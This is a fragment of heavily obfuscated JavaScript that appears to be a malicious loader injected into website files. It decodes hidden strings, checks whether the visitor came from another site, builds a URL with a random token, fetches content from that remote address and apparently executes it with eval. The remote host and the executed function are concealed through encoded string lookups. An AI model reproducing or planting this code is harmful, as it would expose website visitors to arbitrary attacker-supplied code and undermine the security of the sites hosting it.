K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};